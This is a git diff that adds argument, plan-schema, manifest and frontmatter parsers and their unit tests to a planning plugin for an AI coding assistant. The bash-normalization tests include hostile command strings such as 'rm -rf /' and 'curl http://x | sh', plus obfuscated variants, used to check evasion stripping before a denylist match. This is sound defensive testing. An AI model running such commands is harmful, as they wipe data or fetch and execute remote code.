diff --git a/plugins/ultraplan-local/lib/parsers/arg-parser.mjs b/plugins/ultraplan-local/lib/parsers/arg-parser.mjs
new file mode 100644
index 0000000..5f20f17
--- /dev/null
+++ b/plugins/ultraplan-local/lib/parsers/arg-parser.mjs
@@ -0,0 +1,117 @@
+// lib/parsers/arg-parser.mjs
+// Parse $ARGUMENTS strings for the four ultra commands.
+//
+// Each command has its own valid-flag set; passing flags from another command
+// produces an `unknown_flags` array but does not error — the caller decides.
+
+const FLAG_SCHEMA = {
+  ultrabrief: {
+    boolean: ['--quick', '--fg'],
+    valued: [],
+    aliases: {},
+  },
+  ultraresearch: {
+    boolean: ['--quick', '--local', '--external', '--fg'],
+    valued: ['--project'],
+    aliases: {},
+  },
+  ultraplan: {
+    boolean: ['--quick', '--fg'],
+    valued: ['--project', '--brief', '--export', '--decompose'],
+    multi: ['--research'],
+    aliases: {},
+  },
+  ultraexecute: {
+    boolean: ['--resume', '--dry-run', '--validate', '--fg'],
+    valued: ['--project', '--step', '--session'],
+    aliases: {},
+  },
+};
+
+/**
+ * @param {string} argString  Raw $ARGUMENTS as the command sees it.
+ * @param {keyof FLAG_SCHEMA} command
+ * @returns {{
+ *   command: string,
+ *   flags: Record<string, true | string | string[]>,
+ *   positional: string[],
+ *   unknown: string[],
+ *   errors: Array<{code: string, message: string}>,
+ * }}
+ */
+export function parseArgs(argString, command) {
+  const schema = FLAG_SCHEMA[command];
+  if (!schema) {
+    return {
+      command,
+      flags: {},
+      positional: [],
+      unknown: [],
+      errors: [{ code: 'ARG_UNKNOWN_COMMAND', message: `Unknown command: ${command}` }],
+    };
+  }
+
+  const tokens = tokenize(argString);
+  const flags = {};
+  const positional = [];
+  const unknown = [];
+  const errors = [];
+
+  for (let i = 0; i < tokens.length; i++) {
+    const tok = tokens[i];
+
+    if (!tok.startsWith('--')) {
+      positional.push(tok);
+      continue;
+    }
+
+    if (schema.boolean.includes(tok)) {
+      flags[tok] = true;
+      continue;
+    }
+
+    if (schema.valued.includes(tok)) {
+      const next = tokens[i + 1];
+      if (next === undefined || next.startsWith('--')) {
+        errors.push({ code: 'ARG_MISSING_VALUE', message: `Flag ${tok} requires a value` });
+      } else {
+        flags[tok] = next;
+        i++;
+      }
+      continue;
+    }
+
+    if (schema.multi && schema.multi.includes(tok)) {
+      const collected = [];
+      while (i + 1 < tokens.length && !tokens[i + 1].startsWith('--')) {
+        collected.push(tokens[i + 1]);
+        i++;
+      }
+      if (collected.length === 0) {
+        errors.push({ code: 'ARG_MISSING_VALUE', message: `Flag ${tok} requires at least one value` });
+      } else {
+        flags[tok] = collected;
+      }
+      continue;
+    }
+
+    unknown.push(tok);
+  }
+
+  return { command, flags, positional, unknown, errors };
+}
+
+function tokenize(s) {
+  if (typeof s !== 'string') return [];
+  const trimmed = s.trim();
+  if (trimmed === '') return [];
+  const out = [];
+  const re = /"([^"]*)"|'([^']*)'|(\S+)/g;
+  let m;
+  while ((m = re.exec(trimmed)) !== null) {
+    out.push(m[1] !== undefined ? m[1] : m[2] !== undefined ? m[2] : m[3]);
+  }
+  return out;
+}
+
+export { FLAG_SCHEMA };
diff --git a/plugins/ultraplan-local/lib/parsers/bash-normalize.mjs b/plugins/ultraplan-local/lib/parsers/bash-normalize.mjs
new file mode 100644
index 0000000..7bdf946
--- /dev/null
+++ b/plugins/ultraplan-local/lib/parsers/bash-normalize.mjs
@@ -0,0 +1,48 @@
+// lib/parsers/bash-normalize.mjs
+// Bash-evasion normalization, lifted from hooks/scripts/pre-bash-executor.mjs.
+//
+// Source: ../../hooks/scripts/pre-bash-executor.mjs (lines 22-45) — verbatim
+// extraction so the runtime hook and the test suite share one implementation.
+// The hook still inlines a copy because it cannot import from outside the
+// plugin distribution at this time; both copies must stay in sync.
+
+/**
+ * Strip bash evasion techniques: empty quotes, ${} expansion, backslash splitting.
+ * Used to canonicalize a command before running denylist regex over it.
+ */
+export function normalizeBashExpansion(cmd) {
+  if (typeof cmd !== 'string' || cmd === '') return '';
+
+  let result = cmd
+    .replace(/''/g, '')
+    .replace(/""/g, '')
+    .replace(/\$\{(\w)\}/g, '$1')
+    .replace(/\$\{[^}]*\}/g, '')
+    .replace(/`\s*`/g, '');
+
+  let prev;
+  do {
+    prev = result;
+    result = result.replace(/(\w)\\(\w)/g, '$1$2');
+  } while (result !== prev);
+
+  return result;
+}
+
+/**
+ * Strip ANSI escape codes and collapse whitespace.
+ */
+export function normalizeCommand(cmd) {
+  if (typeof cmd !== 'string') return '';
+  return cmd
+    .replace(/\x1B\[[0-9;]*m/g, '')
+    .replace(/\s+/g, ' ')
+    .trim();
+}
+
+/**
+ * Full canonicalization pipeline used by hooks before pattern matching.
+ */
+export function canonicalize(cmd) {
+  return normalizeCommand(normalizeBashExpansion(cmd));
+}
diff --git a/plugins/ultraplan-local/lib/parsers/manifest-yaml.mjs b/plugins/ultraplan-local/lib/parsers/manifest-yaml.mjs
new file mode 100644
index 0000000..f9f1d97
--- /dev/null
+++ b/plugins/ultraplan-local/lib/parsers/manifest-yaml.mjs
@@ -0,0 +1,118 @@
+// lib/parsers/manifest-yaml.mjs
+// Extract the `manifest:` YAML block from each step body.
+//
+// Plan v1.7 contract: every step has a fenced ```yaml ... ``` block whose
+// top-level key is `manifest:` and which contains the keys:
+//   expected_paths, min_file_count, commit_message_pattern, bash_syntax_check,
+//   forbidden_paths, must_contain.
+
+import { issue, ok, fail } from '../util/result.mjs';
+import { parseFrontmatter } from '../util/frontmatter.mjs';
+
+const FENCED_YAML_RE = /```ya?ml\s*\n([\s\S]*?)\n[ \t]*```/g;
+
+const REQUIRED_KEYS = [
+  'expected_paths',
+  'min_file_count',
+  'commit_message_pattern',
+  'bash_syntax_check',
+  'forbidden_paths',
+  'must_contain',
+];
+
+/**
+ * Extract the first fenced YAML block whose first non-blank line begins with
+ * `manifest:`.
+ * @returns {string|null} Inner YAML body without the leading `manifest:` line.
+ */
+export function extractManifestYaml(stepBody) {
+  if (typeof stepBody !== 'string') return null;
+  FENCED_YAML_RE.lastIndex = 0;
+  let m;
+  while ((m = FENCED_YAML_RE.exec(stepBody)) !== null) {
+    const block = m[1];
+    const firstNonBlank = block.split(/\r?\n/).find(l => l.trim() !== '');
+    if (firstNonBlank && /^manifest\s*:/.test(firstNonBlank.trim())) {
+      const after = block.replace(/^[\s\S]*?manifest[ \t]*:[ \t]*\n?/, '');
+      return after;
+    }
+  }
+  return null;
+}
+
+/**
+ * Parse a single step's manifest into an object.
+ * Reuses the frontmatter parser (same restricted YAML subset).
+ * @returns {import('../util/result.mjs').Result}
+ */
+export function parseManifest(stepBody) {
+  const yamlText = extractManifestYaml(stepBody);
+  if (yamlText === null) {
+    return fail(issue('MANIFEST_MISSING', 'No `manifest:` YAML block found in step body'));
+  }
+  const dedented = dedent(yamlText);
+  const result = parseFrontmatter(dedented);
+  if (!result.valid) return result;
+
+  const errors = [];
+  const warnings = [];
+  const parsed = result.parsed || {};
+
+  for (const k of REQUIRED_KEYS) {
+    if (!(k in parsed)) {
+      errors.push(issue('MANIFEST_MISSING_KEY', `Manifest is missing required key: ${k}`));
+    }
+  }
+
+  if ('commit_message_pattern' in parsed) {
+    const pat = parsed.commit_message_pattern;
+    if (typeof pat !== 'string') {
+      errors.push(issue('MANIFEST_PATTERN_TYPE', 'commit_message_pattern must be a string'));
+    } else {
+      try { new RegExp(pat); }
+      catch (e) {
+        errors.push(issue('MANIFEST_PATTERN_INVALID', `commit_message_pattern is not a valid regex: ${e.message}`));
+      }
+    }
+  }
+
+  if ('expected_paths' in parsed && !Array.isArray(parsed.expected_paths)) {
+    errors.push(issue('MANIFEST_PATHS_TYPE', 'expected_paths must be a list'));
+  }
+
+  if ('min_file_count' in parsed && typeof parsed.min_file_count !== 'number') {
+    errors.push(issue('MANIFEST_COUNT_TYPE', 'min_file_count must be a number'));
+  }
+
+  return { valid: errors.length === 0, errors, warnings, parsed };
+}
+
+function dedent(text) {
+  const lines = text.split(/\r?\n/);
+  const indents = lines
+    .filter(l => l.trim() !== '')
+    .map(l => (l.match(/^(\s*)/) || ['', ''])[1].length);
+  if (indents.length === 0) return text;
+  const min = Math.min(...indents);
+  if (min === 0) return text;
+  return lines.map(l => l.slice(min)).join('\n');
+}
+
+/**
+ * Validate every step in a parsed plan has a manifest.
+ * @param {Array<{n: number, body: string}>} steps
+ * @returns {import('../util/result.mjs').Result}
+ */
+export function validateAllManifests(steps) {
+  const errors = [];
+  const warnings = [];
+  const parsed = [];
+  for (const s of steps) {
+    const r = parseManifest(s.body);
+    if (!r.valid) {
+      for (const e of r.errors) errors.push(issue(e.code, `Step ${s.n}: ${e.message}`, e.hint));
+    }
+    parsed.push({ n: s.n, manifest: r.parsed, valid: r.valid });
+  }
+  return { valid: errors.length === 0, errors, warnings, parsed };
+}
diff --git a/plugins/ultraplan-local/lib/parsers/plan-schema.mjs b/plugins/ultraplan-local/lib/parsers/plan-schema.mjs
new file mode 100644
index 0000000..a6812a1
--- /dev/null
+++ b/plugins/ultraplan-local/lib/parsers/plan-schema.mjs
@@ -0,0 +1,126 @@
+// lib/parsers/plan-schema.mjs
+// Plan v1.7 schema parser — heading shape detection.
+//
+// The canonical step heading is `### Step N: <title>` (literal colon-space).
+// Forbidden narrative drift formats (introduced in v1.8.0 to defend against
+// Opus 4.7 schema-drift): `## Fase N`, `### Phase N`, `### Stage N`, `### Steg N`.
+//
+// This module extracts step boundaries; per-step body parsing lives elsewhere.
+
+import { ok, fail, issue } from '../util/result.mjs';
+
+export const STEP_HEADING_REGEX = /^### Step (\d+):\s+(.+?)\s*$/m;
+export const STEP_HEADING_GLOBAL = /^### Step (\d+):\s+(.+?)\s*$/gm;
+export const FORBIDDEN_HEADING_REGEX = /^(?:##|###) (?:Fase|Phase|Stage|Steg) \d+/m;
+export const FORBIDDEN_HEADING_GLOBAL = /^(?:##|###) (?:Fase|Phase|Stage|Steg) \d+/gm;
+export const PLAN_VERSION_REGEX = /^plan_version:\s*['"]?([\d.]+)['"]?/m;
+
+/**
+ * Find all step heading positions in plan text.
+ * @returns {Array<{n: number, title: string, line: number, offset: number}>}
+ */
+export function findSteps(text) {
+  if (typeof text !== 'string') return [];
+  const out = [];
+  STEP_HEADING_GLOBAL.lastIndex = 0;
+  let m;
+  while ((m = STEP_HEADING_GLOBAL.exec(text)) !== null) {
+    const offset = m.index;
+    const line = text.slice(0, offset).split(/\r?\n/).length;
+    out.push({ n: Number.parseInt(m[1], 10), title: m[2].trim(), line, offset });
+  }
+  return out;
+}
+
+/**
+ * Find forbidden narrative-drift heading occurrences (Fase/Phase/Stage/Steg N).
+ * @returns {Array<{form: string, line: number, offset: number, raw: string}>}
+ */
+export function findForbiddenHeadings(text) {
+  if (typeof text !== 'string') return [];
+  const out = [];
+  FORBIDDEN_HEADING_GLOBAL.lastIndex = 0;
+  let m;
+  while ((m = FORBIDDEN_HEADING_GLOBAL.exec(text)) !== null) {
+    const offset = m.index;
+    const line = text.slice(0, offset).split(/\r?\n/).length;
+    const raw = m[0];
+    out.push({ form: raw, line, offset, raw });
+  }
+  return out;
+}
+
+/**
+ * Slice plan text into per-step sections.
+ * @returns {Array<{n: number, title: string, body: string, line: number}>}
+ */
+export function sliceSteps(text) {
+  const heads = findSteps(text);
+  const sections = [];
+  for (let i = 0; i < heads.length; i++) {
+    const start = heads[i].offset;
+    const end = i + 1 < heads.length ? heads[i + 1].offset : text.length;
+    const block = text.slice(start, end);
+    sections.push({
+      n: heads[i].n,
+      title: heads[i].title,
+      body: block,
+      line: heads[i].line,
+    });
+  }
+  return sections;
+}
+
+/**
+ * Extract `plan_version: X.Y` from frontmatter or doc body.
+ */
+export function extractPlanVersion(text) {
+  const m = typeof text === 'string' ? text.match(PLAN_VERSION_REGEX) : null;
+  return m ? m[1] : null;
+}
+
+/**
+ * Validate plan structure at the heading level.
+ * Strict mode: forbidden-heading count > 0 → error. Step numbers must be 1..N contiguous.
+ * @returns {import('../util/result.mjs').Result}
+ */
+export function validatePlanHeadings(text, opts = {}) {
+  const strict = opts.strict !== false;
+  const errors = [];
+  const warnings = [];
+
+  if (typeof text !== 'string') {
+    return fail(issue('PLAN_INPUT', 'Plan text is not a string'));
+  }
+
+  const forbidden = findForbiddenHeadings(text);
+  if (forbidden.length > 0) {
+    const list = forbidden.map(f => `line ${f.line}: ${f.raw}`).join('; ');
+    const errorIssue = issue(
+      'PLAN_FORBIDDEN_HEADING',
+      `Found ${forbidden.length} forbidden narrative-drift heading(s): ${list}`,
+      'Use canonical "### Step N: <title>". Forbidden forms: Fase/Phase/Stage/Steg.',
+    );
+    if (strict) errors.push(errorIssue);
+    else warnings.push(errorIssue);
+  }
+
+  const steps = findSteps(text);
+  if (steps.length === 0) {
+    errors.push(issue('PLAN_NO_STEPS', 'No step headings found', 'Expected at least one "### Step 1: <title>".'));
+  } else {
+    const numbers = steps.map(s => s.n);
+    for (let i = 0; i < numbers.length; i++) {
+      if (numbers[i] !== i + 1) {
+        errors.push(issue(
+          'PLAN_STEP_NUMBERING',
+          `Step numbering breaks at position ${i + 1} (got Step ${numbers[i]})`,
+          'Steps must be 1..N contiguous and ordered.',
+        ));
+        break;
+      }
+    }
+  }
+
+  return { valid: errors.length === 0, errors, warnings, parsed: { steps, forbidden } };
+}
diff --git a/plugins/ultraplan-local/lib/parsers/project-discovery.mjs b/plugins/ultraplan-local/lib/parsers/project-discovery.mjs
new file mode 100644
index 0000000..3eb23af
--- /dev/null
+++ b/plugins/ultraplan-local/lib/parsers/project-discovery.mjs
@@ -0,0 +1,89 @@
+// lib/parsers/project-discovery.mjs
+// Discover ultra-suite artifacts inside a project directory.
+//
+// Layout (post-v3.0.0 project-directory contract):
+//   .claude/projects/<YYYY-MM-DD>-<slug>/
+//     brief.md
+//     research/<NN>-<slug>.md (sorted by filename)
+//     architecture/overview.md   (opt-in, owned by separate ultra-cc-architect plugin)
+//     plan.md
+//     progress.json
+
+import { existsSync, readdirSync, statSync } from 'node:fs';
+import { join } from 'node:path';
+
+/**
+ * @typedef {{
+ *   projectDir: string,
+ *   brief: string|null,
+ *   research: string[],
+ *   architecture: { overview: string|null, gaps: string|null, looseFiles: string[] },
+ *   plan: string|null,
+ *   progress: string|null,
+ * }} ProjectArtifacts
+ */
+
+/** @returns {ProjectArtifacts} */
+export function discoverProject(projectDir) {
+  const out = {
+    projectDir,
+    brief: null,
+    research: [],
+    architecture: { overview: null, gaps: null, looseFiles: [] },
+    plan: null,
+    progress: null,
+  };
+
+  if (!projectDir || !existsSync(projectDir) || !statSync(projectDir).isDirectory()) {
+    return out;
+  }
+
+  const briefPath = join(projectDir, 'brief.md');
+  if (existsSync(briefPath) && statSync(briefPath).isFile()) out.brief = briefPath;
+
+  const planPath = join(projectDir, 'plan.md');
+  if (existsSync(planPath) && statSync(planPath).isFile()) out.plan = planPath;
+
+  const progressPath = join(projectDir, 'progress.json');
+  if (existsSync(progressPath) && statSync(progressPath).isFile()) out.progress = progressPath;
+
+  const researchDir = join(projectDir, 'research');
+  if (existsSync(researchDir) && statSync(researchDir).isDirectory()) {
+    out.research = readdirSync(researchDir)
+      .filter(f => f.endsWith('.md'))
+      .sort()
+      .map(f => join(researchDir, f));
+  }
+
+  const archDir = join(projectDir, 'architecture');
+  if (existsSync(archDir) && statSync(archDir).isDirectory()) {
+    const overviewPath = join(archDir, 'overview.md');
+    const gapsPath = join(archDir, 'gaps.md');
+    if (existsSync(overviewPath)) out.architecture.overview = overviewPath;
+    if (existsSync(gapsPath)) out.architecture.gaps = gapsPath;
+    const all = readdirSync(archDir).filter(f => f.endsWith('.md'));
+    out.architecture.looseFiles = all
+      .filter(f => f !== 'overview.md' && f !== 'gaps.md')
+      .map(f => join(archDir, f));
+  }
+
+  return out;
+}
+
+/**
+ * Validate that artifact set is consistent for a given pipeline phase.
+ * Phase = 'brief' | 'research' | 'plan' | 'execute'.
+ */
+export function checkPhaseRequirements(artifacts, phase) {
+  const errors = [];
+  if (phase === 'research' && !artifacts.brief) {
+    errors.push({ code: 'PROJECT_NO_BRIEF', message: 'research phase requires brief.md' });
+  }
+  if (phase === 'plan' && !artifacts.brief) {
+    errors.push({ code: 'PROJECT_NO_BRIEF', message: 'plan phase requires brief.md' });
+  }
+  if (phase === 'execute' && !artifacts.plan) {
+    errors.push({ code: 'PROJECT_NO_PLAN', message: 'execute phase requires plan.md' });
+  }
+  return { valid: errors.length === 0, errors, warnings: [], parsed: artifacts };
+}
diff --git a/plugins/ultraplan-local/lib/util/frontmatter.mjs b/plugins/ultraplan-local/lib/util/frontmatter.mjs
new file mode 100644
index 0000000..f3b8e8f
--- /dev/null
+++ b/plugins/ultraplan-local/lib/util/frontmatter.mjs
@@ -0,0 +1,138 @@
+// lib/util/frontmatter.mjs
+// Hand-rolled YAML-frontmatter parser.
+//
+// Supported subset:
+//   - String scalars (quoted or unquoted)
+//   - Numbers (integer + float)
+//   - Booleans (true / false)
+//   - null
+//   - Single-level dicts
+//   - Lists of scalars (- value)
+//
+// Deliberately rejects: nested dicts in lists, multi-line strings,
+// anchors/aliases, tags, flow style ({...} / [...]).
+//
+// Why no js-yaml: zero-deps invariant. Templates emit only this subset.
+
+import { issue, ok, fail } from './result.mjs';
+
+const FRONTMATTER_RE = /^?---\r?\n([\s\S]*?)\r?\n---(?:\r?\n([\s\S]*))?$/;
+
+/**
+ * Split raw markdown into { frontmatter, body }.
+ * Returns { hasFrontmatter: false } when no leading --- block exists.
+ */
+export function splitFrontmatter(text) {
+  if (typeof text !== 'string') return { hasFrontmatter: false, body: '' };
+  const stripped = text.replace(/^/, '');
+  const m = stripped.match(/^---\r?\n([\s\S]*?)\r?\n---(?:\r?\n([\s\S]*))?$/);
+  if (!m) return { hasFrontmatter: false, body: stripped };
+  return {
+    hasFrontmatter: true,
+    frontmatter: m[1],
+    body: m[2] || '',
+  };
+}
+
+/**
+ * Parse a YAML-frontmatter string into a JS object.
+ * @returns {import('./result.mjs').Result}
+ */
+export function parseFrontmatter(yamlText) {
+  if (typeof yamlText !== 'string') {
+    return fail(issue('FM_INPUT', 'Frontmatter input is not a string'));
+  }
+  const lines = yamlText.split(/\r?\n/);
+  const out = {};
+  const errors = [];
+
+  let i = 0;
+  while (i < lines.length) {
+    const line = lines[i];
+
+    if (line.trim() === '' || line.trimStart().startsWith('#')) {
+      i++;
+      continue;
+    }
+
+    const indentMatch = line.match(/^(\s*)/);
+    const indent = indentMatch ? indentMatch[0].length : 0;
+    if (indent > 0) {
+      errors.push(issue('FM_INDENT', `Unexpected indentation at line ${i + 1}`, 'Top-level keys only; nested dicts unsupported.'));
+      i++;
+      continue;
+    }
+
+    const kv = line.match(/^([A-Za-z_][A-Za-z0-9_-]*)\s*:\s*(.*)$/);
+    if (!kv) {
+      errors.push(issue('FM_SYNTAX', `Cannot parse line ${i + 1}: ${line}`));
+      i++;
+      continue;
+    }
+
+    const key = kv[1];
+    const rest = kv[2];
+
+    if (rest === '' || rest === undefined) {
+      const list = [];
+      let j = i + 1;
+      while (j < lines.length) {
+        const next = lines[j];
+        if (next.trim() === '') { j++; continue; }
+        const m2 = next.match(/^\s+-\s+(.*)$/);
+        if (!m2) break;
+        list.push(parseScalar(m2[1]));
+        j++;
+      }
+      if (list.length > 0) {
+        out[key] = list;
+        i = j;
+      } else {
+        out[key] = null;
+        i++;
+      }
+      continue;
+    }
+
+    out[key] = parseScalar(rest);
+    i++;
+  }
+
+  if (errors.length > 0) return { valid: false, errors, warnings: [], parsed: out };
+  return ok(out);
+}
+
+function parseScalar(raw) {
+  const s = raw.trim();
+  if (s === '') return '';
+  if (s === 'null' || s === '~') return null;
+  if (s === 'true') return true;
+  if (s === 'false') return false;
+  if (s === '[]') return [];
+  if (s === '{}') return {};
+  if (/^-?\d+$/.test(s)) return Number.parseInt(s, 10);
+  if (/^-?\d+\.\d+$/.test(s)) return Number.parseFloat(s);
+  if (s.startsWith('"') && s.endsWith('"')) {
+    return s.slice(1, -1).replace(/\\(.)/g, (_, ch) => {
+      if (ch === 'n') return '\n';
+      if (ch === 't') return '\t';
+      if (ch === 'r') return '\r';
+      return ch;
+    });
+  }
+  if (s.startsWith("'") && s.endsWith("'")) return s.slice(1, -1);
+  return s;
+}
+
+/**
+ * Parse a markdown file's frontmatter directly from its full text.
+ * @returns {import('./result.mjs').Result}
+ */
+export function parseDocument(text) {
+  const split = splitFrontmatter(text);
+  if (!split.hasFrontmatter) {
+    return fail(issue('FM_MISSING', 'No frontmatter block found'));
+  }
+  const result = parseFrontmatter(split.frontmatter);
+  return { ...result, parsed: { frontmatter: result.parsed, body: split.body } };
+}
diff --git a/plugins/ultraplan-local/lib/util/result.mjs b/plugins/ultraplan-local/lib/util/result.mjs
new file mode 100644
index 0000000..e2d3d61
--- /dev/null
+++ b/plugins/ultraplan-local/lib/util/result.mjs
@@ -0,0 +1,35 @@
+// lib/util/result.mjs
+// Validation result shape used by every validator and parser.
+
+/**
+ * @typedef {{ code: string, message: string, hint?: string, location?: string }} Issue
+ * @typedef {{ valid: boolean, errors: Issue[], warnings: Issue[], parsed?: any }} Result
+ */
+
+/** @returns {Result} */
+export function ok(parsed) {
+  return { valid: true, errors: [], warnings: [], parsed };
+}
+
+/** @returns {Result} */
+export function fail(errors, parsed) {
+  return { valid: false, errors: Array.isArray(errors) ? errors : [errors], warnings: [], parsed };
+}
+
+/** @returns {Result} */
+export function combine(results) {
+  const errors = [];
+  const warnings = [];
+  let parsed;
+  for (const r of results) {
+    if (r.errors) errors.push(...r.errors);
+    if (r.warnings) warnings.push(...r.warnings);
+    if (r.parsed !== undefined && parsed === undefined) parsed = r.parsed;
+  }
+  return { valid: errors.length === 0, errors, warnings, parsed };
+}
+
+/** @returns {Issue} */
+export function issue(code, message, hint, location) {
+  return { code, message, hint, location };
+}
diff --git a/plugins/ultraplan-local/tests/lib/arg-parser.test.mjs b/plugins/ultraplan-local/tests/lib/arg-parser.test.mjs
new file mode 100644
index 0000000..e51f737
--- /dev/null
+++ b/plugins/ultraplan-local/tests/lib/arg-parser.test.mjs
@@ -0,0 +1,77 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import { parseArgs } from '../../lib/parsers/arg-parser.mjs';
+
+test('ultrabrief — empty args', () => {
+  const r = parseArgs('', 'ultrabrief');
+  assert.equal(r.command, 'ultrabrief');
+  assert.deepEqual(r.flags, {});
+});
+
+test('ultrabrief — --quick boolean', () => {
+  const r = parseArgs('--quick', 'ultrabrief');
+  assert.equal(r.flags['--quick'], true);
+});
+
+test('ultraresearch — --project value capture', () => {
+  const r = parseArgs('--project .claude/projects/2026-04-30-foo', 'ultraresearch');
+  assert.equal(r.flags['--project'], '.claude/projects/2026-04-30-foo');
+});
+
+test('ultraresearch — --quick --local combined', () => {
+  const r = parseArgs('--quick --local', 'ultraresearch');
+  assert.equal(r.flags['--quick'], true);
+  assert.equal(r.flags['--local'], true);
+});
+
+test('ultraplan — --research multi-value', () => {
+  const r = parseArgs('--research a.md b.md c.md', 'ultraplan');
+  assert.deepEqual(r.flags['--research'], ['a.md', 'b.md', 'c.md']);
+});
+
+test('ultraplan — --research multi stops at next flag', () => {
+  const r = parseArgs('--research a.md b.md --project /x', 'ultraplan');
+  assert.deepEqual(r.flags['--research'], ['a.md', 'b.md']);
+  assert.equal(r.flags['--project'], '/x');
+});
+
+test('ultraplan — --brief required-value flag', () => {
+  const r = parseArgs('--brief brief.md', 'ultraplan');
+  assert.equal(r.flags['--brief'], 'brief.md');
+});
+
+test('ultraplan — missing value for --brief produces error', () => {
+  const r = parseArgs('--brief --quick', 'ultraplan');
+  assert.ok(r.errors.find(e => e.code === 'ARG_MISSING_VALUE'));
+});
+
+test('ultraplan — --decompose value flag', () => {
+  const r = parseArgs('--decompose plan.md', 'ultraplan');
+  assert.equal(r.flags['--decompose'], 'plan.md');
+});
+
+test('ultraexecute — --resume + --project', () => {
+  const r = parseArgs('--resume --project /tmp/p', 'ultraexecute');
+  assert.equal(r.flags['--resume'], true);
+  assert.equal(r.flags['--project'], '/tmp/p');
+});
+
+test('ultraexecute — --step N value', () => {
+  const r = parseArgs('--step 3', 'ultraexecute');
+  assert.equal(r.flags['--step'], '3');
+});
+
+test('ultraexecute — unknown flag goes to unknown[]', () => {
+  const r = parseArgs('--mystery foo', 'ultraexecute');
+  assert.ok(r.unknown.includes('--mystery'));
+});
+
+test('quoted positional with spaces preserved', () => {
+  const r = parseArgs('"hello world" simple', 'ultrabrief');
+  assert.deepEqual(r.positional, ['hello world', 'simple']);
+});
+
+test('unknown command reported as error', () => {
+  const r = parseArgs('--quick', 'notacommand');
+  assert.ok(r.errors.find(e => e.code === 'ARG_UNKNOWN_COMMAND'));
+});
diff --git a/plugins/ultraplan-local/tests/lib/bash-normalize.test.mjs b/plugins/ultraplan-local/tests/lib/bash-normalize.test.mjs
new file mode 100644
index 0000000..8cdfcb1
--- /dev/null
+++ b/plugins/ultraplan-local/tests/lib/bash-normalize.test.mjs
@@ -0,0 +1,49 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import {
+  normalizeBashExpansion,
+  normalizeCommand,
+  canonicalize,
+} from '../../lib/parsers/bash-normalize.mjs';
+
+test('normalizeBashExpansion — empty single quotes stripped', () => {
+  assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
+});
+
+test('normalizeBashExpansion — empty double quotes stripped', () => {
+  assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
+});
+
+test('normalizeBashExpansion — single-char ${x} resolved', () => {
+  assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
+});
+
+test('normalizeBashExpansion — multi-char ${...} stripped', () => {
+  assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
+});
+
+test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
+  assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
+});
+
+test('normalizeBashExpansion — empty backtick subshell stripped', () => {
+  assert.equal(normalizeBashExpansion('rm -rf `  ` /'), 'rm -rf  /');
+});
+
+test('normalizeBashExpansion — non-string input safe', () => {
+  assert.equal(normalizeBashExpansion(undefined), '');
+  assert.equal(normalizeBashExpansion(null), '');
+  assert.equal(normalizeBashExpansion(42), '');
+});
+
+test('normalizeCommand — ANSI codes stripped', () => {
+  assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
+});
+
+test('normalizeCommand — whitespace collapsed', () => {
+  assert.equal(normalizeCommand('  git    status   '), 'git status');
+});
+
+test('canonicalize — full pipeline on evasion', () => {
+  assert.equal(canonicalize('  c${u}r\\l   http://x | sh '), 'curl http://x | sh');
+});
diff --git a/plugins/ultraplan-local/tests/lib/frontmatter.test.mjs b/plugins/ultraplan-local/tests/lib/frontmatter.test.mjs
new file mode 100644
index 0000000..070284d
--- /dev/null
+++ b/plugins/ultraplan-local/tests/lib/frontmatter.test.mjs
@@ -0,0 +1,74 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import { splitFrontmatter, parseFrontmatter, parseDocument } from '../../lib/util/frontmatter.mjs';
+
+test('splitFrontmatter — basic LF', () => {
+  const r = splitFrontmatter('---\nfoo: bar\n---\nbody here\n');
+  assert.equal(r.hasFrontmatter, true);
+  assert.equal(r.frontmatter, 'foo: bar');
+  assert.equal(r.body, 'body here\n');
+});
+
+test('splitFrontmatter — CRLF tolerated', () => {
+  const r = splitFrontmatter('---\r\nfoo: bar\r\n---\r\nbody\r\n');
+  assert.equal(r.hasFrontmatter, true);
+  assert.equal(r.frontmatter, 'foo: bar');
+});
+
+test('splitFrontmatter — BOM stripped', () => {
+  const r = splitFrontmatter('---\nfoo: bar\n---\n');
+  assert.equal(r.hasFrontmatter, true);
+});
+
+test('splitFrontmatter — no frontmatter', () => {
+  const r = splitFrontmatter('# title\nbody only\n');
+  assert.equal(r.hasFrontmatter, false);
+  assert.match(r.body, /title/);
+});
+
+test('parseFrontmatter — string scalars', () => {
+  const r = parseFrontmatter('type: ultrabrief\nslug: jwt-auth\n');
+  assert.equal(r.valid, true);
+  assert.equal(r.parsed.type, 'ultrabrief');
+  assert.equal(r.parsed.slug, 'jwt-auth');
+});
+
+test('parseFrontmatter — number, bool, null', () => {
+  const r = parseFrontmatter('research_topics: 3\nautoResearch: true\nfoo: false\nbar: null\n');
+  assert.equal(r.parsed.research_topics, 3);
+  assert.equal(r.parsed.autoResearch, true);
+  assert.equal(r.parsed.foo, false);
+  assert.equal(r.parsed.bar, null);
+});
+
+test('parseFrontmatter — quoted strings', () => {
+  const r = parseFrontmatter('plan_version: "1.7"\nname: \'test thing\'\n');
+  assert.equal(r.parsed.plan_version, '1.7');
+  assert.equal(r.parsed.name, 'test thing');
+});
+
+test('parseFrontmatter — list of scalars', () => {
+  const r = parseFrontmatter('keywords:\n  - planning\n  - research\n  - agents\n');
+  assert.equal(r.valid, true);
+  assert.deepEqual(r.parsed.keywords, ['planning', 'research', 'agents']);
+});
+
+test('parseFrontmatter — rejects nested dict', () => {
+  const r = parseFrontmatter('a: 1\n  b: 2\n');
+  assert.equal(r.valid, false);
+  assert.ok(r.errors.find(e => e.code === 'FM_INDENT'));
+});
+
+test('parseDocument — full pipeline', () => {
+  const text = '---\ntype: ultrabrief\nresearch_topics: 2\n---\n\n# Body\n\ncontent\n';
+  const r = parseDocument(text);
+  assert.equal(r.valid, true);
+  assert.equal(r.parsed.frontmatter.type, 'ultrabrief');
+  assert.match(r.parsed.body, /content/);
+});
+
+test('parseDocument — missing frontmatter is an error', () => {
+  const r = parseDocument('# just markdown\nno frontmatter here\n');
+  assert.equal(r.valid, false);
